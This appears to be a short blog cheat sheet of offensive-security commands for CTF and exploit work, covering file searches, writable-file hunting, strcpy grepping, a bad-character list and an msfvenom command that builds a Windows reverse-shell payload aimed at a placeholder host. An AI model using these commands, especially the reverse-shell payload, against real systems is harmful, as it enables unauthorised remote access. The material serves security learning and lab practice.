Useful commands (Linux, Windows, CTF, Exploit, etc…)


Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null


Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done
Helvio Junior

Helvio Junior

Especialista em Segurança Ofensiva e Análise de Malwares em SafeTrend
Especialista em Segurança Ofensiva e pesquisador independente de Malwares.
Helvio Junior
0 respostas

Deixe uma resposta

Want to join the discussion?
Feel free to contribute!

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *